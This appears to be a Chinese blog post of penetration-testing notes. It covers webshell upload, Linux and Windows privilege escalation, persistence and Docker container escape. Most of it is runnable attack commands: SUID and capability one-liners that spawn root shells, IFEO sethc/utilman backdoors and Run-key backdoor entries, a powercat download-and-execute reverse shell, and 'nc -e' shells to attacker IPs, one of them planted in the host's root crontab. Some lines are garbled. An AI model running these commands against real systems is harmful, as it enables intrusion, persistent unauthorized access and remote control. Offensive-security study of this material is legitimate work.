渗透入门

shell代码上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
date: 2023-05-30 16:10:11

<html lang="en">

<head>

<meta charset="UTF-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>Document</title>

</head>

<body>

<form action="http://题目/api.php?m=upload&a=upfile&adminid=&device=1625923765752&cfrom=mweb&token=&sysmodenum=officia&sysmid=0&maxsize=2" method="post" enctype="multipart/form-data">

<input type="file" name="file">

<input type="submit">

</form>

</body>

</html>

提权

[TOC]

linux

信息收集

内核设备信息:

uname -a 打印所有可用的系统信息

uname -r 内核版本

uname -n 系统主机名。

uname -m 查看系统内核架构(64位/32位)

hostname 系统主机名

cat /proc/version 内核信息 cat /etc/*-release 分发信息 cat /etc/issue 分发信息

cat /proc/cpuinfo CPU信息用户和群组信息:

cat /etc/passwd 列出系统上的所有用户

cat /etc/group 列出系统上的所有组

grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ 列出所有的超级用户账户

whoami 查看当前用户

w 谁目前已登录,他们正在做什么

last 最后登录用户的列表

lastlog 所有用户上次登录的信息

lastlog -u %username% 有关指定用户上次登录的信息

lastlog |grep -v “Never” 以前登录用户的信息

history

cat /home//.bash_history

cat ~/.bash_history | grep -i passw

用户和权限信息:

whoami 当前用户名

id 当前用户信息

cat /etc/sudoers 谁被允许以root身份执行 sudo -l 当前用户可以以root身份执行操作 环境系统变量信息:

env 显示环境变量

set 现实环境变量

echo %PATH 路径信息

history 显示当前用户的历史命令记录

pwd 输出工作目录

cat /etc/profile 显示默认系统变量

cat /etc/shells 显示可用的shell

hashdump

https://github.com/huntergregal/mimipenguin

转储hash,有可能获得铭文密码。

suid

探测

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

常见的可以提权的程序:

nmap vim find Bash More Less Nano cp netcat

利用方式

linux: https://gtfobins.github.io/

windows:

https://lolbas-project.github.io/

修改PATH

假如有以下suid程序:

system(“cat /flag”);

可以修改PATH来让root运行我们的cat。

export PATH=/tmp && /exp

/tmp/cat中为恶意程序

sudo

探测

Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。

cap

我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。

SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即 capabilities。

探测

getcap -r / 2>/dev/null

利用

gdb

gdb -nx -ex ‘python import os; os.setuid(0)’ -ex ‘!sh’ -ex quit

perl

perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”;’

php

php -r “posix_setuid(0); system(‘/bin/sh’);”

python

python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’

ruby

ruby -e ‘Process::Sys.setuid(0); exec “/bin/sh”‘

rvim

rvim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’

vim

vim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’

tar cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。

tar -vcf root.tar /root

openssl 建立http服务器,通过http越权下载文件

使用openssl生成证书

┌──(kali㉿kali)-[/]

└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem - days 365 -nodes

进入系统根目录下

┌──(kali㉿kali)-[/]

└─$ cd /

启动web服务器,监听8080端口

┌──(kali㉿kali)-[/]

└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP

访问本机的web服务,读取/etc/shadow文件

┌──(kali㉿kali)-[~]

└─$ curl –http0.9 -k “https://127.0.0.1:8080/etc/shadow“ root:!:18681:0:99999:7:::

daemon::18681:0:99999:7::: bin::18681:0:99999:7:::

sys:*:18681:0:99999:7:::

sync:*:18681:0:99999:7:::

内核漏洞

探测

linux-exploit-suggester

详见工具.md

利用

Linux

常见漏洞详见tools/linux-kernel-exploits

大部分exp需要自己编译。使用docker的交叉编译环境(https://github.com/dockcross/dockcross)

dirty cow

https://dirtycow.ninja/ 交叉编译.受影响版本:

Centos7/RHEL7

Cetnos6/RHEL6 Ubuntu 16.10

Ubuntu 16.04

Ubuntu 14.04

Debian 8

Debian 7

3.10.0-327.36.3.el7

2.6.32-642.6.2.el6

4.8.0-26.28

4.4.0-45.66

3.13.0-100.147

3.16.36-1+deb8u2

3.2.82-1

Link Usage Description Family
dirtyc0w.c ./dirtyc0w file content Read-only write /proc/self/mem
cowroot.c ./cowroot SUID-based root /proc/self/mem

dirtycow- mem.c

./dirtycow-mem libc-based root /proc/self/mem

pokemon.c ./d file content Read-only write PTRACE_POKEDATA dirtyc0w.c ./dirtycow file content Read-only write (Android) /proc/self/mem

dirtycow.rb use exploit/linux/local/dirtycow and run SUID-based root /proc/self/mem
0xdeadbeef.c ./0xdeadbeef vDSO-based root PTRACE_POKEDATA
naughtyc0w.c ./c0w suid SUID-based root /proc/self/mem
c0w.c ./c0w SUID-based root PTRACE_POKEDATA

mucow.c ./mucow destination < payload.exe Read-only write (multi

page)

PTRACE_POKEDATA

dcow.cpp ./dcow /etc/passwd based root /proc/self/mem

dirtyc0w.go go run dirtyc0w.go -f=file - c=content

Read-only write /proc/self/mem

dirty.c ./dirty /etc/passwd based root PTRACE_POKEDATA

Windows

https://github.com/SecWiki/windows-kernel-exploits

计划任务

基础知识

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名

/etc/crontab 这个文件负责调度各种管理和维护任务。

/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。 我们还可以把脚本放

在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

          • user Command #每分钟 #分、时、日、月、周

软连接

*作用

sh中*会自动解析成当前目录下所有文件名:

#!/bin/bash echo @$;

./test.sh *

输出当前文件夹下所有文件名

可以用于参数注入,比如tar */cp *

权限维持

添加用户

useradd newuser;echo “newuser:password”|chpasswd

添加suoder

修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示:

root ALL=(ALL) ALL

ALL=(ALL) ALL

windows

https://github.com/SecWiki/windows-kernel-exploits

Runas

RUNAS 用法:

RUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ] /user: program

runas /noprofile /user:mymachine\administrator cmd

说明:使用本机上的Administrator管理员身份执行CMD,/noprofile为不加载该用户的配置信息。

runas /profile /env /user:mydomain\admin “mmc %windir%\system32\dsa.msc”

说明:使用本机上的admin身份扫行msc控制台。 /profile为指定加载用户配置文件。 /env 表示使用当前环境。

runas /env /user:user@domain.microsoft.com “notepad \”my file.txt\””

说明:使用域用户身份运行,并指定使用notepad打开my file.txt文档。 RunasCs是第三方的升级工具:

允许显式凭证

无论是从交互进程还是从服务进程生成,都可以工作正确管理窗口站和桌面的DACL以创建新进程

使用更可靠的创建进程函数,例如CreateProcessAsUser(),CreateProcessWithTokenW()如果调用进程拥有所需的权限(自动检测)

允许指定登录类型,例如 8-NetworkCleartext 登录(无UAC限制)当知道管理员密码时允许绕过 UAC(标志 –bypass-uac)

允许创建一个主线程模拟请求用户的进程(标志–remote-impersonation)允许将stdin、stdout和stderr重定向到远程主机

它是开源的:)

https://github.com/antonioCoco/RunasCs

kali/tools/pentest/priv/windows-exe/runascs

反弹shell

powershell工具: powercat.ps1

powershell IEX (New-Object

System.Net.Webclient).DownloadString(‘http://ip:port/powercat.ps1‘); powercat -c IP -p 端口 -e cmd

无文件后门

memfd_create 是 Linux 中的一个系统调用,用于创建一个内存文件描述符。这个文件描述符可以用于共享内存、匿名内存映射或其他与文件无关的 I/O 操作。

int memfd_create(const char *name, unsigned int flags);

// name:一个可选的名称,用于标识这个内存文件描述符。如果设置为NULL,则使用默认名称。

// flags:用于指定创建的内存文件描述符的特性。例如,可以使用 MFD_CLOEXEC 和

MFD_ALLOW_SEALING 等标志。

内核溢出漏洞提权

信息收集

msf

dos命令

post/windows/gather/enum_applications 查看系统可能存在的可以利用的漏洞

post/windows/gather/enum_patches 查找系统中的补丁信息。

post/multi/recon/local_exploit_suggester

Windows Exploit Suggester

chcp 437 # 将语言设为英文

systeminfo

Wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看windows机器上安装了多少补丁

schtasks /query /fo LIST /v # 查看计划任务

将systeminfo保存到文件

python2 windows-exploit-suggester.py –update # 更新漏洞数据库

python2 windows-exploit-suggester.py -d <漏洞库文件> -i sysinfo.txt

Getsystem

msf:

meterpreter > getsystem

UAC提权

msf

windows/local/bypassuac模块 注册表

注意 windows 2008 及以上系统在默认情况下开启 UAC 策略, 不允许 administrator 以外的其它本地管理员用户访问远程资源.

可通过更改注册表关闭 UAC 策略.

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

令牌窃取

msf:

use incognito #进入incognito模块 list_tokens -u #列出令牌

impersonate_token “WIN-HN02RO8B2OU\86158” #模仿令牌(它没有扫描处我的靶机里面的 system权限的用户,所以我将就模仿)

windows 系统配置错误提权

系统服务权限配置错误

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

msf

use exploit/windows/local/service_permissions

service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的

注册表键AlwaysInstallElevated

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。

该模块会创建一个文件名随机的MSI文件 并在提权后删除所有已部署的文件

msf:

use exploit/windows/local/always_install_elevated

自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。在这个过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码

msf:

use post/windows/gather/enum_unattend

组策略首选项提权

msf:

use post/windows/gather/credentials/gpp

映像劫持

注册表当前用户可修改。

注册表路径下IFEO(image file execution options)的exe程序被修改,然后进行重定向执行门程序的过程,也就是说你在执行A程序时候,由于IFEO劫持的原因执行了B程序

RDP登录界面按Windows 键+U,获得一个SYSTEM权限的 cmd.exe

REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe” /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

在 RDP 登录屏幕时按多次shift

REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

启动项:

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v Evil

/t REG_SZ /d “C:\Users\user\backdoor.exe”

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce” /v Evil /t REG_SZ /d “C:\Users\user\backdoor.exe”

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices”

/v Evil /t REG_SZ /d “C:\Users\user\backdoor.exe”

reg add

“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce” /v Evil /t REG_SZ /d “C:\Users\user\backdoor.exe”

service劫持

修改以高权限用户执行的服务的imagepath。通过sc命令启动服务。

reg修改注册表

power up

使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。

其中PowerUp.ps1文件可从这里下载:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc beacon:

powershell-import PowerUp.ps1 powershell invoke-allchecks

如果在自己的靶机上发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。

这时为了复现成功可以来到靶机下,以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned,输入Y回车,此时系统便能导入PowerUp.ps1文件了。

potato系列提权

Hot potato

https://github.com/Kevin-Robertson/Tater

Import-Module .\Tater.ps1

Invoke-Tater -Command “whoami”

Rotten Potato & JuicyPotato

https://github.com/ohpe/juicy-potato

在指定 ip 和端口的位置尝试加载一个 COM 对象

RottenPotatoNG 使用的 COM 对象为 BITS,CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}可供选择的 COM 对象不唯一,Juicy Potato 提供了多个,详细列表可参考如下地址: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

RottenPotatoNG 使用的 135 端口

Juicy Potato 支持指定任意本地端口,但是 RPC 一般默认为135端口,很少被修改

clsid参考列表: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

JuicyPotato.exe -t * -l 1112 -p exp.bat

参数

T:>JuicyPotato.exe JuicyPotato v0.1

Mandatory args:

-t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both

-p : program to launch

-l : COM server listen port

Optional args:

-m : COM server listen address (default 127.0.0.1)

-a : command line argument to pass to program (default NULL)

-k : RPC server ip address (default 127.0.0.1)

-n : RPC server listen port (default 135)

-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})

-z only test CLSID and print token’s user

可以根据系统选择clsid,test_clsid.bat可以测试可用的clsid(https://github.com/ohpe/juicy- potato/blob/master/Test/test_clsid.bat)

PrintSpoofer (PipePotato or BadPotato)

https://github.com/itm4n/PrintSpoofer

PrintSpoofer.exe -c “C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd”

RoguePotato

https://github.com/antonioCoco/RoguePotato

先在vps上监听端口

socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}” -p splintercode

# 或者nc

while true; do nc -l -p 135 -c nc -l -p 135 | nc 0.0.0.0 9999
‘nc 0.0.0.0 9999’; done
RoguePotato.exe -r 10.0.0.3 -e “C:\windows\system32\cmd.exe” -l 9999
# 或者自己选择clsid和管道

RoguePotato.exe -r 10.0.0.3 -e
“C:\windows\system32\cmd.exe” -l 9999 -c

SweetPotato

COM/WinRM/Spoolsv 的集合版,也就是 Juicy/PrintSpoofer 的集合版 https://github.com/CCob/SweetPotato https://github.com/uknowsec/SweetPotato

SweetPotato.exe -a “whoami”

权限维持

添加用户

添加高权限用户

net user /add

net localgroup administrators fushuling /add

登录以后以管理员权限运行cmd

powershell -Command “Start-Process cmd -Verb RunAs” exit

或者

echo | runas /user:administrator cmd exit

docker逃逸

docker.sock挂载逃逸

Docker Client 和 Docker Daemon

Docker Client:这是用户通过命令行与 Docker 进行交互的工具(例如你输入的 docker run 命令)。它提供了一个用户界面来管理 Docker 容器和镜像。

Docker Daemon:后台运行的服务(进程),负责管理 Docker 容器的创建、运行、停止等操作。它接收来自 Docker Client 的请求,并处理这些请求。

需要挂载/var/run/docker.sock,并在容器内安装docker。

挂载宿主机docker.sock后,使用docker运行容器等操作时连接的是宿主机的docker daemon。

利用

apt-get update

apt-get install docker.io

docker run -it -v /:/host ubuntu:18.04 /bin/bash # 将宿主机/挂载到新容器的/host。

以上均在容器内执行。

挂载proc

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

触发点在于/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。如果程序崩溃就会执行我们的命令

查找容器内core_pattern

find / -name core_pattern

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

找到docker中文件对应宿主机的绝对路径:

cat /proc/mounts | xargs -d ‘,’ -n 1 | grep workdir

找到的路径是宿主机中对应容器根目录的路径。

执行命令脚本:

#!/bin/bash

touch /tmp/ppp

崩溃程序: 用gcc编译

#include<stdio.h> int main(void) {

int *a = NULL;

*a = 1;

return 0;

}

写入core_pattern:

echo

“|/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe 46a06678c/merged/tmp/.lll.sh” > /host/proc/sys/kernel/core_pattern

然后在容器内执行崩溃程序即可逃逸。

特权模式

查看是否以特权模式启动

cat /proc/self/status | grep CapEff

如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

利用

查找磁盘位置

fdisk -l

挂载磁盘到我们的目录

mkdir /lll && mount /dev/sda1 /lll

docker未授权访问

docker启动http api:

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

执行命令:

POST /containers//exec HTTP/1.1 Host: :PORT

Content-Type: application/json Content-Length: 188

{

“AttachStdin”: true, “AttachStdout”: true, “AttachStderr”: true,

“Cmd”: [“命令”, “参数”],

比如(cat /etc/passwd)

“DetachKeys”: “ctrl-p,ctrl-q”, “Privileged”: true,

“Tty”: true

}

定时任务逃逸:

import docker

client = docker.DockerClient(base_url=’http://your-ip:2375/‘)

data = client.containers.run(‘alpine:latest’, r’’’sh -c “echo ‘* * * * *

/usr/bin/nc your-ip 21 -e /bin/sh’ >> /tmp/etc/crontabs/root” ‘’’, remove=True, volumes={‘/etc’: {‘bind’: ‘/tmp/etc’, ‘mode’: ‘rw’}})


渗透入门
http://example.com/2025/01/21/渗透测试/
Author
chaye
Posted on
January 21, 2025
Licensed under